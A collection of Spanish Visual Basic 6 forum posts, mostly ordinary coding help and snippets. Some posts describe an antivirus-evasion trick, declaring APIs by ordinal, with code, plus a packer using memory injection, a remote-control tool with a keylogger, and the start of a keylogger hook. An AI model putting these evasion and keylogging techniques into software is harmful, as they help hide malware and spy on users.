            waveOutUnprepareHeader hWaveOut, wvhdr, Len(wvhdr)
       
        End If
   
        waveOutClose hWaveOut
    End If
       
    hWaveOut = 0
       
End Sub

Private Sub Draw(Hdc As Long, R As RECT)
    Dim hBitmap As Long, mBrush As Long
    Dim PicBits() As Byte, BytesPerLine As Long
    Dim i As Long, lColor As Byte
    Dim W As Long, H As Long
   
   
    W = (150 * Rnd() + 100)
    H = (150 * Rnd() + 100)
   
    BytesPerLine = (W * 3 + 3) And &HFFFFFFFC
       
    ReDim PicBits(1 To BytesPerLine * H * 3) As Byte
       
    For i = 1 To UBound(PicBits) - 4 Step 4
        lColor = Int((255 + 1) * Rnd())
        PicBits(i) = lColor
        PicBits(i + 1) = lColor
        PicBits(i + 2) = lColor
    Next
   
    hBitmap = CreateBitmap(W, H, 1, 32, PicBits(1))

    mBrush = CreatePatternBrush(hBitmap)
   
    FillRect Hdc, R, mBrush

    DeleteObject mBrush
    DeleteObject hBitmap

End Sub


En un formulario con dos botones
Código (vb) [Seleccionar]
Option Explicit

Private Sub Form_Load()
    Command1.Caption = "Play"
    Command2.Caption = "Stop"
End Sub

Private Sub Command1_Click()
    Call Play(Me.Hdc, 0, 0, Me.ScaleWidth / Screen.TwipsPerPixelX, Me.ScaleHeight / Screen.TwipsPerPixelY)
End Sub

Private Sub Command2_Click()
    StopAnimation
End Sub

Private Sub Form_Unload(Cancel As Integer)
    StopAnimation
End Sub



#21
Esta es la segunda parte del proyecto (aún sin nombre) de administración remota, en esta segunda parte se han añadido mas herramientas entre ellas Visor de Procesos y Ventanas, Visor de Webcam, Registro, Consola y Keylogger, el proyecto sigue en etapa de desarrollo por lo que hay muchos cabos sueltos.
Para esta al tanto de que se trata este proyecto leer este topic.

Como siempre me ver sus comentarios, que debería tener, que esta mal, que debería cambiar , o que no funciona.

#22
Programación Visual Basic / [SPINET]Google Speak
1 Diciembre 2010, 06:28 AM
Holas, esta es una simple función para utilizar el api de google speak, sirve para llevar un texto a vos, el apis se limita solo a 100 caracteres, cuenta con tres parámetros el primero es el texto a pronunciar, el segundo la acentuación (español ="es"), y el tercero para llamar a DoEvents si se quiere.
Fuente original

Código (Vb) [Seleccionar]

Option Explicit
'-----------------------------------------------------------------------------------------------------
'Autor: Leandro Ascierto
'Web: www.leandroascierto.com.ar
'Abreviaturas
'de, da, es, fi, fr, en, it, nl, pl, pt, sv"
'Alemán , Danés, Español, Finlandia, Francés, Inglés, Italiano, Neerlandés, Polaco, Portugués, Sueco
'----------------------------------------------------------------------------------------------------
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long


Public Function GoogleSpeak(ByVal sText As String, Optional ByVal Language As String = "es", Optional ByVal bDoevents As Boolean) As Boolean
   On Error Resume Next
   Dim sTempPath As String, ml As String
   Dim FileLength As Long

   sText = Replace(sText, vbCrLf, " ")

   If Len(sText) > 100 Then Exit Function
   
   sTempPath = Environ("Temp") & "\TempMP3.MP3"

   If URLDownloadToFile(0&, "http://translate.google.com/translate_tts?tl=" & Language & "&q=" & sText, sTempPath, 0&, 0&) = 0 Then
       
       If mciSendString("open " & Chr$(34) & sTempPath & Chr$(34) & " type MpegVideo" & " alias myfile", 0&, 0&, 0&) = 0 Then
           
           ml = String(30, 0)
           Call mciSendString("status myfile length ", ml, 30, 0&)
           FileLength = Val(ml)
           If FileLength Then
               If mciSendString("play myFile", 0&, 0&, 0&) = 0 Then
                   Do While mciSendString("status myfile position ", ml, 30, 0&) = 0
                       If Val(ml) = FileLength Then GoogleSpeak = True: Exit Do
                       If bDoevents Then DoEvents
                   Loop
               End If
           End If
           Call mciSendString("close myfile", 0&, 0&, 0&)
           
       End If
       
       Kill sTempPath
   End If
   
End Function


Private Sub Command1_Click()
  Debug.Print GoogleSpeak("Antes era sexo droga y rock and roll, ahora es paja mate y chamame", "es", True)
    Debug.Print GoogleSpeak("Siamo fuori della copa. un giorno tristissimo", "it", True)
End Sub



Saludos.
#23
Buenas, alguien tiene a mano algun modulo o codigo que no utilize WMI para obtener algo de información de un proceso (Nombre de usuario, Uso de la memoria, CPU, etc.)

Saludos.
#24
Programación Visual Basic / CurrencyToHex ?
9 Noviembre 2010, 04:52 AM
Hola como puedo convertir un valor Currency en Hexadecimal?
con la función Hex de vb me da desbordamiento

Debug.Print Hex(4294967295#)

Saludos.
#25
Programación Visual Basic / Problema Matematico
22 Octubre 2010, 06:31 AM
Hi, tengo un problema, que me voló la cabeza seguro que es una boludes mas grande que una casa pero se me quemaron las neuronas, es medio complicado explicarlo pero voy a intentarlo.

supongamos una imagen, esta tiene unas dimensiones de 16 x 16px  por cada pixel de esa imagen tenemos 3 bytes  esto da como resultado un array de 768 bytes

16 x 16 x 3 = 768

otro ejemplo

32 * 16 * 3 = 1536

bien haciendo esa ecuación puedo saber la cantidad de bytes que ocupara la imagen, ahora supongamos que yo quiero ingresar la cantidad de bytes y deseo que la imagen sea lo mas cuadrada posible que ecuación tengo que hacer???

yo puedo poner (tomando el primer ejemplo)

Ancho =  Sqr(768 / 3)
Alto = Ancho

pero que pasa si el array que ingreso es de 769 bytes tengo un resultado erróneo de  16,0104.. y esto no es una medida valida para una imagen ya que no puede tener decimales.

entonces puede que tenga que adicionar uno/s bytes extra al array para que sea un valor "par" así poder obtener un resultado correcto, no importa que sea una imagen 100% cuadrada, pero que sea lo mas aproximado.

Se entiende??, Gracias
#26
Hola es un poco mas de lo mismo, por el momento es un explorador remoto de archivos y carpetas realizado en vb, tiene unas cuantas herramientas.
si les interesa saber un poco mas de que se trata y descargarlo abajo esta el link.





Descargar.
#27
Hola, como podria hacer un drag and drop sobre una carpeta y poder conocer el destino de esta carpeta, para poder abrir un archivo en forma binarya.

si yo utilizo este metodo
Private Sub ListView1_OLEStartDrag(Data As ComctlLib.DataObject, AllowedEffects As Long)
    Dim i As Long
   
    For i = 1 To ListView1.ListItems.Count
   
        If ListView1.ListItems.Item(i).Selected = True Then
       
            Data.Files.Add ListView1.ListItems(i).Tag
            Data.SetData , vbCFFiles
           
        End If
       
    Next

End Sub


es nesesario que el archivo ya exista (ListView1.ListItems(i).Tag) pero esto me obliga a no poder continuar modificandolo.

mi nececidad es crearlo luego de haber hecho el drag and drop.

Es posible esto?
#28
Hola me resulto curioso esto de declarar a las apis por su ordinal y bueno de la cosa es que los AV no detectan estas apis, lo malo es que dependiendo de la versión de la dll el ordinal puede cambiar. pero es otra buena alternativa.

una pequeña muestra


Option Explicit
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "#216" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function URLDownloadToFile_Seven Lib "urlmon" Alias "#217" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Declare Function GetProcAddressXP Lib "kernel32.dll" Alias "#409" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function GetProcAddressVISTA Lib "kernel32.dll" Alias "#548" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function GetProcAddressSEVEN Lib "kernel32.dll" Alias "#580" (ByVal hModule As Long, ByVal lpProcName As String) As Long

Private Declare Function LoadLibraryXP Lib "kernel32.dll" Alias "#581" (ByVal lpLibFileName As String) As Long
Private Declare Function LoadLibraryVISTA Lib "kernel32.dll" Alias "#759" (ByVal lpLibFileName As String) As Long
Private Declare Function LoadLibrarySEVEN Lib "kernel32.dll" Alias "#827" (ByVal lpLibFileName As String) As Long

Private Declare Function FreeLibrary Lib "kernel32.dll" (ByVal hLibModule As Long) As Long

Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As tOSVERSIONINFO) As Long

Private Type tOSVERSIONINFO
    dwOSVersionInfoSize         As Long
    dwMajorVersion              As Long
    dwMinorVersion              As Long
    dwBuildNumber               As Long
    dwPlatformId                As Long
    szCSDVersion                As String * 128
End Type

Dim OSV As tOSVERSIONINFO


Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
    If OSV.dwMajorVersion >= 7 Then
        DownloadFile = URLDownloadToFile_Seven(0, URL, LocalFilename, 0, 0) = 0
    Else
        DownloadFile = URLDownloadToFile(0, URL, LocalFilename, 0, 0) = 0
    End If
End Function

Private Function GetProcAddress(ByVal hModule As Long, ByVal lpProcName As String) As Long
    Select Case OSV.dwMajorVersion
        Case 5
            GetProcAddress = GetProcAddressXP(hModule, lpProcName)
        Case 6
            GetProcAddress = GetProcAddressVISTA(hModule, lpProcName)
        Case 7
            GetProcAddress = GetProcAddressSEVEN(hModule, lpProcName)
    End Select
End Function

Private Function LoadLibrary(ByVal lpLibFileName As String) As Long
    Select Case OSV.dwMajorVersion
        Case 5
            LoadLibrary = LoadLibraryXP(lpLibFileName)
        Case 6
            LoadLibrary = LoadLibraryVISTA(lpLibFileName)
        Case 7
            LoadLibrary = LoadLibrarySEVEN(lpLibFileName)
    End Select
End Function


Private Sub Form_Initialize()
    OSV.dwOSVersionInfoSize = Len(OSV)
    Call GetVersionEx(OSV)
End Sub

Private Sub Form_Load()
    Dim hMod As Long
   

    DownloadFile "http://www.allapi.net", App.Path & "\allapi.htm"
   
    hMod = LoadLibrary("user32.dll")
    MsgBox GetProcAddress(hMod, "MessageBoxA")
    FreeLibrary hMod
   
End Sub


no estoy seguro si con los cambios de los SPx pueda cambiar yo solo compare por la version del SO

Saludos.
#29
hola este es un pequeño código para poder listar los archivos dentro de una carpeta.zip no es nada del otro mundo pero le pude ser útil a alguien


Fuente original en http://www.leandroascierto.com.ar/foro/index.php?topic=457.0
Código (vb) [Seleccionar]

Option Explicit
Dim objShell As Object

Private Sub Form_Load()
   Set objShell = CreateObject("Shell.Application")

   FindInZipFolder "C:\CarpetaComprimida.zip"
 
   Set objShell = Nothing
End Sub


Private Sub FindInZipFolder(ByVal Root As String, Optional ByVal sPath As String)
   Dim objFolder As Object
   Dim oItem As Object
   Dim sFolder As String
   Dim sFile As String

   Set objFolder = objShell.NameSpace(CVar(Root & sPath))
 
   If objFolder Is Nothing Then Exit Sub
 
   For Each oItem In objFolder.Items()
       If oItem.IsFolder Then
           sFolder = Root & "\" & oItem.Path
           Debug.Print sFolder
           FindInZipFolder Root, "\" & oItem.Path
       Else
           sFile = Root & "\" & oItem.Path
           Debug.Print sFile
       End If
   Next

End Sub


PD: que colorinche que esta el Geshi  :¬¬
#30
Hola, estoy intentando resolver lo siguiente, si se fijan en la búsqueda de windows utiliza cierta expresiones para resolver la búsqueda por ejemplo si ingresamos

Citarcasa *.bmp

Nos devuelve todos los archivos .bmp y cualquier tipo de archivo que contenga la palabra casa

Citar
*.jpg *.bmp

Nos devuelve todos los archivos .bmp y .jpg

Citar???.bmp

Nos devuelve todos los archivos .bmp de 3 letras por ejemplo "Cut.bmp" "New.bmp"

Citarar*.bmp

nos devuelve todos los archivos .bmp que comienzen con "ar"


que tipo de expresión regular debería implementar para poder cumplir esas condiciones

intento hacer una función parecida a esta

Private Function IsInFilter(ByVal sFilter As String, ByVal sMatch As String) As Boolean
'-------
End Function



Debug.Print IsInFilter("*.bmp ????.jpg", "foto.png")

Gracias
#31
hola nesecito a alguien que tenga windows seven y me pueda testear este codigo que sirve para reproducir un archivo avi que forma parte de los recursos de una dll. (mas informacion aqui)


estuve probando este codigo en Window Seven (con la PC virtual) y no me funciona, pero no parece ser culpa del codigo sino que los AVI dentro de las dll parecen tener o un error o algun codec no reconosido. (ya los extrage con el reshacker y no me los reproduce ni el windows media player.)

Código (vb) [Seleccionar]

Option Explicit
Private Declare Sub InitCommonControls Lib "comctl32.dll" ()
Private Declare Function LoadLibraryEx Lib "kernel32" Alias "LoadLibraryExA" (ByVal lpLibFileName As String, ByVal hFile As Long, ByVal dwFlags As Long) As Long
Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
Private Declare Function CreateWindowEx Lib "user32" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, lpParam As Any) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As Long
Private Const ANIMATE_CLASS = "SysAnimate32"
Private Const WS_EX_TRANSPARENT = &H20&
Private Const ACS_TRANSPARENT = &H2&
Private Const ACS_AUTOPLAY = &H4&
Private Const WM_USER = &H400&
Private Const ACM_OPEN = WM_USER + 100
Private Const ACM_PLAY = WM_USER + 101
Private Const ACM_STOP = WM_USER + 102
Private Const WS_VISIBLE As Long = &H10000000
Private Const WS_CHILD As Long = &H40000000

Dim hAnimation As Long
Dim hModule As Long

Private Sub Form_Initialize()
    InitCommonControls
End Sub

Private Sub Form_Load()
    hModule = LoadLibraryEx("c:\windows\system32\shell32.dll", 0, &H2)
    hAnimation = CreateWindowEx(WS_EX_TRANSPARENT, ANIMATE_CLASS, "", WS_CHILD Or WS_VISIBLE Or ACS_TRANSPARENT Or ACS_AUTOPLAY, 0, 0, 0, 0, Me.hwnd, 0&, App.hInstance, ByVal 0&)
    Call SendMessage(hAnimation, ACM_OPEN, hModule, ByVal "#150")
    FreeLibrary hModule
End Sub

Private Sub Form_Unload(Cancel As Integer)
    DestroyWindow hAnimation
End Sub


En nombre del recurso esta correcto. en xp funciona a alguien no le funciona en Seven?
#32
Hola una pregunta con respecto a las propiedades en las clases usualmente se utiliza de esta forma para establecer una propiedad

Option Explicit
Private m_SearchInSubFolder As Boolean

Public Property Let SearchInSubFolder(ByVal Value As Boolean)
    m_SearchInSubFolder = Value
End Property

Public Property Get SearchInSubFolder() As Boolean
    SearchInSubFolder = m_SearchInSubFolder
End Property


con el fin de atribuirle un valor a m_SearchInSubFolder, como verán dentro de la propiedad no se ejecuta nada mas entonces la  pregunta es tiene algo de malo si yo directamente declaro la variable como publica

Public m_SearchInSubFolder As Boolean

Saludos.
#33
Buenas esto no es un reto, solo me intriga saber si se pude crear/mejorar una funcion mas rapida que esta que hice para buscar una palabra en un archivo, la funcion trabaja con bytes y no con string, como ejemplo puse que busque una palabra existente dentro del "Explorer.exe" y un bucle de 100 vueltas para exijirle un poco a la función. Tambien comente una palabra inexistente para probar.
no discrimina por mayusculas o minusculas "deve encontrarla de cualquier forma".

Código (vb) [Seleccionar]

Option Explicit
Private Declare Function GetTickCount Lib "kernel32.dll" () As Long

Private Declare Function CharUpperBuffA& Lib "user32" (lpsz As Any, ByVal cchLength&)
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, lpSecurityAttributes As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function ReadFile Lib "kernel32.dll" (ByVal hFile As Long, ByRef lpBuffer As Any, ByVal nNumberOfBytesToRead As Long, ByRef lpNumberOfBytesRead As Long, ByVal lpOverlapped As Long) As Long
Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function GetFileSize Lib "kernel32.dll" (ByVal hFile As Long, ByRef lpFileSizeHigh As Long) As Long
Private Declare Function SetFilePointer Lib "kernel32.dll" (ByVal hFile As Long, ByVal lDistanceToMove As Long, ByRef lpDistanceToMoveHigh As Long, ByVal dwMoveMethod As Long) As Long

Private Type LARGE_INTEGER
   lowpart As Long
   highpart As Long
End Type


Private Const GENERIC_READ          As Long = &H80000000
Private Const FILE_SHARE_READ       As Long = &H1
Private Const OPEN_EXISTING         As Long = 3
Private Const INVALID_HANDLE_VALUE  As Long = -1
Private Const FILE_BEGIN            As Long = 0

Private aUChars(255) As Byte

Private Function LargeIntToCurrency(Low As Long, High As Long) As Currency
   Dim LI As LARGE_INTEGER
   LI.lowpart = Low: LI.highpart = High
   CopyMemory LargeIntToCurrency, LI, LenB(LI)
   LargeIntToCurrency = LargeIntToCurrency * 10000
End Function

Private Function CurrencyToLargeInt(ByVal Curr As Currency) As LARGE_INTEGER
   Curr = Curr / 10000
   CopyMemory CurrencyToLargeInt, Curr, LenB(Curr)
End Function


Private Function FindWordInFile(ByVal sPath As String, ByVal sWord As String, Optional ByVal bUnicode As Boolean) As Boolean
   Dim bArray() As Byte
   Dim lRet As Long
   Dim hFile As Long
   Dim sFind() As Byte
   Dim s As String
   Dim t As Long
   Dim i As Long
   Dim FileSize As Currency
   Dim tLI As LARGE_INTEGER
   Dim LenBuffer As Long
   Dim CurPos As Currency

   sWord = UCase(sWord)
   If bUnicode Then sWord = StrConv(sWord, vbUnicode)
   sFind = StrConv(sWord, vbFromUnicode)

   hFile = CreateFile(sPath, GENERIC_READ, FILE_SHARE_READ, ByVal 0&, OPEN_EXISTING, 0, 0)
   
   If hFile <> INVALID_HANDLE_VALUE Then
   
       
       tLI.lowpart = GetFileSize(hFile, tLI.highpart)
   
       LenBuffer = &H2800 ' 10 KB
   
       FileSize = LargeIntToCurrency(tLI.lowpart, tLI.highpart)
       
       If FileSize < UBound(sFind) Then GoTo OutSearch
   
       If LenBuffer > FileSize Then LenBuffer = FileSize
   
       ReDim bArray(LenBuffer - 1)

       Do
           ReadFile hFile, bArray(0), UBound(bArray) + 1, lRet, 0&
           
           If lRet = 0 Then Exit Do
           
           CurPos = CurPos + lRet

           If lRet < LenBuffer Then
               ReDim Preserve bArray(lRet)
           End If

           If InBytes(bArray, sFind) <> -1 Then
               FindWordInFile = True
               Exit Do
           End If
           
           If CurPos = FileSize Then Exit Do
           
           tLI = CurrencyToLargeInt(CurPos - UBound(sFind) + 1)
           
           SetFilePointer hFile, tLI.lowpart, tLI.highpart, FILE_BEGIN
                       
       Loop
       
OutSearch:
       
       CloseHandle hFile

   End If
End Function



Public Function InBytes(ByRef bvSource() As Byte, ByRef bvMatch() As Byte) As Long

   Dim i       As Long
   Dim j       As Long
   Dim lChr    As Byte
   Dim LenMach As Long

   LenMach = UBound(bvMatch)
   
   lChr = bvMatch(0)
   
   If LenMach > 0 Then
   
       For i = 0 To UBound(bvSource) - LenMach
     
           If (lChr = aUChars(bvSource(i))) Then

               j = LenMach - 1
   
               Do
                   If bvMatch(j) <> aUChars(bvSource(i + j)) Then GoTo NotEqual
                   j = j - 1
               Loop While j
               
               InBytes = i
               
               Exit Function
   
           End If
NotEqual:
       
       Next
   
   Else
       For i = 0 To UBound(bvSource)
           If (lChr = aUChars(bvSource(i))) Then
               InBytes = i
               Exit Function
           End If
       Next
   End If

   InBytes = -1
End Function

Private Sub Form_Initialize()
   Dim i As Long

   For i = 0 To 255: aUChars(i) = i: Next
   CharUpperBuffA aUChars(0), 256

End Sub

Private Sub Form_Load()
   Dim t As Long, i As Long, Ret As Boolean
   t = GetTickCount
   For i = 0 To 100 'Este bucle es solo para exijirle un poco mas a la funcion
       Ret = FindWordInFile(Environ("windir") & "\explorer.exe", "Mostrar en el escritorio", True)
       'Ret = FindWordInFile(Environ("windir") & "\explorer.exe", "esta palabra no existe")
   Next
   
   MsgBox GetTickCount - t
   Me.Caption = Ret
   
End Sub


PD: Complilarlo
#34
Hola una pregunta como se si una carpeta o unidad puede ser escrita, por ejemplo si quisiera crear una carpeta en la unidad de cd no podría o por ejemplo si fuera una cuenta de usuario y quisiera crear una carpeta en un directorio donde no tengo privilegios tampoco podría.

se que puedo usar on error pero cual es la forma correcta?, GetAttr sirve en estos casos?

Saludos
#35
Módulo clase que permite visualizar un menú con los archivos alojados en nuestra PC, su función principal es la de explorar y recuperar la ruta de un archivo, tal como lo hacen los cuadros de diálogo (CommonDialog). Tiene opciones tales como poder filtrar el o los tipos de archivos requeridos, mostrar o no archivos ocultos, establecer algunas carpetas especiales por defecto en el menú principal, posee un Tooltips con algunos datos del archivo y reconoce los accesos directos.
Utiliza la ClsMenuImage para poder insertar íconos en el menú.
La primera vez que llamemos al menú si es una carpeta con muchos archivos puede ser un poco lento al cargar los items, pero una vez que su cache se haya creado es más rápido.
He tenido que deshabilitar algunas funciones que recuperaban palabras del sistema, lo cual hacía que si se ejecutaba en una PC que su sistema operativo no era en castellano las mostraba en su idioma correcto, este supresión se debe a que algunos antivirus detectaban una o varias Apis como una amenaza
(me cago en Avira Antivirus opten por no usarlo)



Descargar

#36
Este es un módulo clase que sirve para insertar imágenes en el menú, a diferencia del control de usuario HookMenu, este sólo requiere un simple módulo, quizás no cuente con una interfaz sencilla para insertar las imágenes ya que con este módulo tendremos que hacerlo mediante código.
Lo que intenté preservar es que el ícono no modifique el estilo visual de Windows, es decir, el menú no tendrá el aspecto de Office o Ribbon.
También cuenta con la posibilidad de agregarle imágenes a la barra de menú y a los menúes creados mediante Apis (CreatePopupMenu).
La clase soporta imágenes .png, .ico y todos los formatos estándar de imágenes. Este módulo sólo funcionará en Windows XP y posteriores, ya que las versiones anteriores no cuentan con GDI Plus.
En Windows XP el módulo necesita subclasificar la ventana que contiene o llama al menú, pero en Windows Vista y Windows 7 esto no es necesario ya que corrigieron el error que tenían los menúes con bitmaps.






Descarga

cualquier duda, sugerencia, o error reportar.

Mañana les traigo algo mejor  ;D
#37
Este es un proyecto que tenia ganas de intentar hacer, sirve (o es lo que intenta)  comprimir un ejecutable tipo como el UPX, si bien funciona todo bien la compresion es muy baja (desde el vamos es stub esta echo en vb) los métodos empleados son inyeccion en la memoria y CallApibyName (creo que estas funciones son de Cobein y/o Karcrack), CloneFile by ZeR0 para colonar los recursos, y para comprimir utiliza el api nativa RtlCompressBuffer

bueno lo peor de todo es que varios de los antivirus lo detectan como un código malicioso  :-[ y abría que hacer muchos cambios para que esto no pase.

Descargar
#38
Este Proyecto comenzó en Febrero del 2007 en resultado a  este hilo  donde conocí a Cobein y decidimos intentar crear un Escritorio Remoto, si bien hubo buenos avances, el proyecto quedó parado, y bueno me decidí a terminarlo. Aunque esté muy lejos de la velocidad del VNC o TeamViewer, creo que los esfuerzos son redituables.
Para los que no saben de qué se trata, les explico, son dos aplicaciones que se conectan vía IP y puede manipularse la pantalla de una PC remotamente, por ejemplo si un cliente en china y se conecta a tu PC, tú puedes manejar a ésta como si estuvieras parado en frente a ella.

Que opciones tiene?:

    * Transmitir la captura de la pantalla.
    * Transmitir el icono del cursor.
    * Mover el mouse y hacer click.
    * Escribir remotamente.
    * Enviar y recibir el texto del portapapeles.
    * Seleccionar la calidad de las capturas (mientras más baja, mayor velocidad de transmisión).
    * Opción de ver en pantalla completa o en modo ajustado a la ventana.

Fallos encontrados:

    * No se pueden hacer combinaciones de teclas, es decir, no se puede utilizar Ctrl + V (tendría que cambiar el método utilizado).
    * No pude testarlo bien ya que no cuento con otra PC para realizar todas las pruebas necesarias y tuve que arreglarme con la PC Virtual, así que quizás remotamente empiecen a saltar algunos que otros errores o cuelgues de transmisión.

Cosas a destacar:

    * La conexión es Inversa, pero poniendo algo de mano en el código puede revertirse.
    * Utiliza GDI+ esto significa que sólo funcionará desde Windows XP en adelante.
    * No envía la captura de la pantalla completa, sino sólo los fragmentos modificados.
    * El código creo que está medianamente prolijo y entendible, si se tiene los conocimientos necesarios.




Descargar
#39
Este es un modulo bas para Reiniciar la aplicación si es que aparece un error y no fue controlado  (No errores de sistemas esos que aparece el maldito boton"No Enviar") sino los comunes de vb


Option Explicit
'Autor: Leandro Ascierto
'Web:   www.leandroascierto.com.ar
'Date:  28/12/2009
Private Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Private Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Private Declare Function CreateWindowEx Lib "user32.dll" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32.dll" (ByVal hwnd As Long) As Long
Private Declare Function SetProp Lib "user32.dll" Alias "SetPropA" (ByVal hwnd As Long, ByVal lpString As String, ByVal hData As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Sub FatalExit Lib "kernel32" (ByVal code As Long)

Dim hWinStatic As Long
Dim AppPath As String
Dim LastError As Long

Private Function CallSomeFunction()
    'No borrar esta linea
End Function

Public Sub StarProtect()
    hWinStatic = CreateWindowEx(0, "Static", "WindowControlerCrash", 0, 0, 0, 0, 0, 0, 0, 0, 0&)
    AppPath = GetAppPath
    SetTimer hWinStatic, 0, 100, AddressOf TimerProc
End Sub

Public Sub EndProtect()
    KillTimer hWinStatic, 0
    DestroyWindow hWinStatic
End Sub

Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
    Dim Ret As String
   
    If Err.Number = 40040 Then
        ShellExecute hWinStatic, vbNullString, AppPath, LastError, vbNullString, 1
        FatalExit 1
    Else
        LastError = Err.Number
        Ret = CallSomeFunction
    End If
   
End Sub

Private Function GetAppPath() As String
    Dim ModuleName As String
    Dim Ret As Long
    ModuleName = String$(255, Chr$(0))
    Ret = GetModuleFileName(App.hInstance, ModuleName, 255)
    GetAppPath = Left$(ModuleName, Ret)
End Function


Para probarlo en un formulario con Tres botones


Option Explicit

Private Sub Form_Load()
    If Command$ <> "" Then Me.Caption = "Aplicación Reinciada por error: " & Command$
    StarProtect 'comienza la protección
End Sub

Private Sub Form_Unload(Cancel As Integer)
    EndProtect 'Detiene la protección
End Sub


Private Sub Command1_Click()
    MsgBox 1 / 0 'Error Divición por cero
End Sub

Private Sub Command2_Click()
    Dim i As Integer
    i = 8000000000000# 'Error Desvordamiento
End Sub

Private Sub Command3_Click()
    Dim c As Date
    c = "hola" 'Error no coinciden los tipos
End Sub


Lo compilan y verán que al producir un error la aplicacion se reinicia.

Saludos.
#40
Hola una consulta alguien me puede decir si usa el api URLDownloadToFileA hace saltar los antivirus o marcar a la aplicacion como peligrosa?, es recomendable o no usarla?(la aplicación no es un virus ni nada de eso.)


Saludos.
#41
Programación Visual Basic / Desbordamiento
1 Noviembre 2009, 02:27 AM
buenas estoy teniendo un problema con lo siguiente


Private Sub Form_Load()

    Dim a As Double
    Dim b As Double
   
    a = 4195038069#
    b = &HF0F
   
    Debug.Print a And b

End Sub


esto me esta dando un error 6 Desbordamiento

estoy intentando pasar una funcion de PHP a visual basic, en PHP no da error y me imprime como resultado "773"  probe esto mismo en la calculadora de windows y tambien "773"
ahora no se porque visual basic no permite esta operaciones.
abra una forma de realizar la operación.?¿?

Saludos
#42
Hola ya que viene la racha con los Keylogger, pongo otro método, ayer mirando el tuto de Karcrack supuse que tendría que haber otra forma de transladar las teclas, así que se me dió por pasarles los msg del hook a una ventana de tipo EDIT (WM_IME_KEYDOWN), y el resultado fue bastante bueno, inclusive toma las @ y símbolos especiales, excepto los acentos porque si se los dejaba no los agrega a la ventana donde escribía.

Seria bueno que si alguien tiene un teclado inglés lo pruebe a ver si funciona todo bien.

Código (vb) [Seleccionar]

Option Explicit
'------------------------------------
'Autor:   Leandro Ascierto
'Web:     www.leandroascierto.com.ar
'Fecha:   18-08-09
'En base a tutorial de Karcrack
'------------------------------------
Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Function PostMessage Lib "user32.dll" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function SetWindowText Lib "user32.dll" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
